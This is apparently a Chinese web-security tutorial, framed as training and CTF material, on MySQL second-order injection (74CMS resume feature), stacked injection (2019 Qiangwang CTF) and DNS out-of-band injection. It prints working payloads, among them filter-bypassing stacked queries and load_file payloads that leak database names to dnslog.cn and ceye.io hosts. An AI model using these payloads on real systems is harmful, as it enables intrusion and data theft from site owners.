Web攻防05_MySQL_二次注入堆叠注入带外注入

news2024/9/23 11:17:53

文章目录

  • MYSQL-二次注入-74CMS
      • 思路描述:
      • 注入条件:
      • 案例:74CMS个人中心简历功能
  • MYSQL-堆叠注入-CTF强网
      • 思路描述
      • 注入条件
      • 案例:2019强网杯-随便注(CTF题型)
  • MYSQL-带外注入-DNSLOG
      • 注入条件
      • 使用平台
      • 带外应用场景:

本节内容:

二次注入、堆叠注入、带外注入
在这里插入图片描述

MYSQL-二次注入-74CMS

该漏洞较冷门,冷门也有好处,热门漏洞大家都会去注意,在挖掘漏洞时可能会不好挖,冷门漏洞可能反而好挖一些

思路描述:

在这里插入图片描述

黑盒思路:分析功能有添加后对数据操作的地方(功能点)

白盒思路:insert后进入select或update的功能的代码块

注入条件:

插入时有转义函数或配置,后续有可利用插入数据的点

magic_quotes_gpc 魔术引号开关,PHP,开启后自动对引号进行转义

该参数本意阻止SQL注入,但是在二次注入里又需要它

实战中黑盒测试基本上发现不到二次注入,可能性很小,需要的点太多了,而且时间上也不允许,一般二次注入都是从代码审计,白盒测试中找出的。

案例:74CMS个人中心简历功能

74CMS个人中心简历功能

1、在增加简历内容时有注入点:

在这里插入图片描述

2、发现专业名称一栏有长度限制,检查内容发现是前端限制,直接修改前端代码即可。

插入内容有时会限制长度,分为前端限制和后端限制,后端限制没办法,前端限制的话可以直接修改前端代码即可。

在这里插入图片描述

3、插入注入语句。

aa',`fullname`=version()#

4、预览简历,触发二次注入,爆出数据库版本:

在这里插入图片描述

如果是黑盒测试,完全不知道代码如何写的,SQL语句是什么样的,很难发现该漏洞,基本不可能,一般不会黑盒这样测,无法准确的测到。

MYSQL-堆叠注入-CTF强网

思路描述

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,

例如php中的mysqli_multi_query函数。与之相对应的==mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()==这样的函数,根据数据库类型决定是否支持多条语句执行.

注入条件

1、目标存在sql注入漏洞

2、目标未对";"号进行过滤

3、目标中间层查询数据库信息时可同时执行多条sql语句

4、支持堆叠数据库:MYSQL MSSQL Postgresql等,大部分都支持,主要看函数是否支持多条语句执行

该漏洞注入的内容是一个全新的SQL语句,实战中用的不多,CTF中用的多

案例:2019强网杯-随便注(CTF题型)

';show databases;

';show tables;

';show columns from `1919810931114514`;

';select flag from `1919810931114514`;

# 对select有过滤,将内容换为十六进制码,再加上语句,变量赋值执行进行绕过。

';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

参考文章:https://blog.csdn.net/weixin_45642610/article/details/112337143

MYSQL-带外注入-DNSLOG

注入条件

ROOT高权限且支持load_file(),两者缺一不可

MySQL中secure-file-priv控制安全权限,高版本默认开启该安全策略。

直接用load_file()和带外注入没有区别,只是带外解决了不回显的问题

有部分注入点是没有回显的,所有读取也是没回显的,采用带外

不回显,没有显示,都是可以通过带外解决

使用平台

http://ceye.io

http://www.dnslog.cn

带外应用场景:

解决不回显,反向连接,SQL注入,命令执行,SSRF等

SQL注入语句示例:

and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc')))

// 查询当前数据库

id=1 and load_file(concat("\\\\",database(),".dbuh8a.ceye.io\\asdt"))



//查询其他数据库

id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

由于该DNS记录只能回显一个字段,所以应该使用limit,第一个参数是查询起始位置,第二个参数是查询个数

实战中碰不到。都是在面试/CTF中。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1134644.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

代碼隨想錄算法訓練營|第四十九天|139.单词拆分、关于多重背包、背包问题总结。刷题心得(c++)

目录 讀題 139.单词拆分 自己看到题目的第一想法 看完代码随想录之后的想法 139.单词拆分 - 實作 思路 Code 關於多重背包 與01背包與完全背包的差別 轉化成01背包問題 背包问题总结 背包問題分類 背包問題 - 遞推公式 最多裝多少/能否裝滿 最大價值 裝滿背包有…

OpenFeign实现分析、源码解析

什么是openfeign? 是springcloud全家桶的组件之一,其核心作用是为Rest API提供高效简洁的rpc调用方式。 为什么只定义接口而没有实现类? 源码解读(省略) 总结: 源码分析:如何发送http请求? …

基于单片机设计的智能窗帘控制系统

一、前言 智能家居技术在近年来取得了巨大的发展,并逐渐成为人们日常生活中的一部分。智能家居系统带来了便利、舒适和高效的生活体验,拥有广泛的应用领域,其中之一就是智能窗帘控制系统。 传统窗帘需要手动操作,打开或关闭窗帘…

微服务-Ribbon负载均衡

文章目录 负载均衡原理流程原理源码分析负载均衡流程 负载均衡策略饥饿加载总结 负载均衡原理 流程 原理 LoadBalanced 标记RestTemplate发起的http请求要被Ribbon进行拦截和处理 源码分析 ctrlshiftN搜索LoadBalancerInterceptor,进入。发现实现了ClientHttpRequ…

Snipaste--强大的截图贴图软件--非常实用

一.软件介绍: Snipaste 是一个简单但强大的截图工具,也可以让你将截图贴回到屏幕上!下载并打开Snipaste,按下 F1 来开始截图,再按 F3,截图就在桌面置顶显示了。就这么简单!你还可以将剪贴板里的…

SK-Net eca注意力机制应用于ResNet (附代码)

resnet发展历程 论文地址:https://arxiv.org/pdf/1903.06586.pdf 代码地址:https://github.com/pppLang/SKNet 1.是什么? SK-net网络是一种增加模块嵌入到一些网络中的注意力机制,它可以嵌入和Resnet中进行补强,嵌入…

composer安装thinkphp6报错

composer安装thinkphp6报错, 查看是否安装了对应的PHP扩展,我这边使用的是宝塔的环境,全程可以可视化操作 这样就可以安装完成了

linux工具篇

文章目录 linux工具篇1. linux 软件包管理器-yum1.1 什么是软件包1.2 yum的使用1.3 yum源 2. linux编辑器-vim2.1 vim概念2.2 vim各个模式切换2.3 vim正常模式命令汇总2.4 vim底行模式各命令汇总2.5 vim的简单配置 3. Linux编译器-gcc/g使用3.1 复习程序编译过程(1) 预处理(2) …

【Oracle】Navicat Premium 连接 Oracle的两种方式

Navicat Premium 使用版本说明 Navicat Premium 版本 11.2.16 (64-bit) 一、配置OCI 1.1 配置OCI环境变量 1.1.2 设置\高级系统设置 1.1.2 系统属性\高级\环境变量(N) 1.1.3 修改/添加系统变量 ORACLE_HOME ORACLE_HOME D:\app\root\product\12.1.0\dbhome_11.1.4 添加系…

Redis快速上手篇(一)(安装与配置)

NoSQL NoSQL 是 Not Only SQL 的缩写,意即"不仅仅是 SQL"的意思,泛指非关系型的数据库。强调 Key-Value Stores 和文档数据库的优点。 NoSQL 产品是传统关系型数据库的功能阉割版本,通过减少用不到或很少用的功能,来大…

vue3中使用svg并封装成组件

打包svg地图 安装插件 yarn add vite-plugin-svg-icons -D # or npm i vite-plugin-svg-icons -D # or pnpm install vite-plugin-svg-icons -D使用插件 vite.config.ts import { VantResolver } from unplugin-vue-components/resolvers import { createSvgIconsPlugin } from…

【C语言初阶】switch语句的基本语法

🎬 鸽芷咕:个人主页 🔥 个人专栏:《速学C语言》《数据结构篇》 ⛺️生活的理想,就是为了理想的生活! 文章目录 前言💬 switch语句的介绍💬 switch语句的语法形式💭 在switch语句中的 break&…

景联文科技提供4D-BEV标注工具:提升自动驾驶感知能力的精准数据支持

4D-BEV标注是一种用于自动驾驶领域的数据标注方法。在3D空间的基础上,加入了时间维度,形成了四个维度。这种方法通过精准地跟踪和记录动态对象(如车辆、行人)的运动轨迹、姿势变化以及速度等信息,全面理解和分析动态对…

JWT的登录认证与自校验原理分析

目录 一、JWT的概述 1.什么是JWT? 2.JWT的用户认证 3.JWT解决了什么问题? 4.关于JWT中的签名如何理解? 5.JWT的优势 二、JWT的结构 1.令牌的组成: 2.JWT的工具类 3.JWT所需的依赖 4.JWT登录生成Token的原理 三、JWT的自…

Linux中关于glibc包导致的服务器死机或者linux命令无法使用的情况

glibc是gnu发布的libc库,即c运行库。glibc是linux系统中最底层的api,几乎其它任何运行库都会依赖于glibc。glibc除了封装linux操作系统所提供的系统服务外,它本身也提供了许多其它一些必要功能服务的实现。由于 glibc 囊括了几乎所有的 UNIX …

智能巡检系统可以应用在哪些地方?巡检系统有什么优势?

智能巡检系统可以广泛应用于学校、物业、工厂、酒店和民宿、运维商以及能源行业等不同领域的巡检管理之中,为用户提供了巡检任务安排管理、签到打卡、工单上报处理以及数据统计分析等多种功能。 一、巡检系统的应用场景   1、学校:为了确保学校各项设施…

【抓包分析】通过ChatGPT解密还原某软件登录算法实现绕过手机验证码登录

文章目录 🍋前言实现效果广告抓包分析一、定位加密文件二、编辑JS启用本地替换 利用Chatgpt进行代码转换最后 🍋前言 由于C站版权太多,所有的爬虫相关均为记录,不做深入! 今天发现github上没有这个东西,抓…

Centos7 防火墙的关闭

Centos7 防火墙的关闭 Centos7默认使用的是firewall作为防火墙; 查看防火墙状态:firewall-cmd --state 停止防火墙:systemctl stop firewalld.service; 禁止防火墙开机启动:systemctl disable firewalld.service; 放行端口…

项目总结-新增商品-Pagehelper插件分页查询

(1)新增商品 工具类: /** * Title: FileUtils.java * Package com.qfedu.common.utils * Description: TODO(用一句话描述该文件做什么) * author Feri * date 2018年5月29日 * version V1.0 */ package com.gdsdxy.common.u…

webpack 解决:TypeError: merge is not a function 的问题

1、问题描述: 其一、存在的问题为: TypeError: merge is not a function 中文为: 类型错误:merge 不是函数 其二、问题描述为: 想执行 npm run dev 命令,运行起项目时,控制台报错 TypeErro…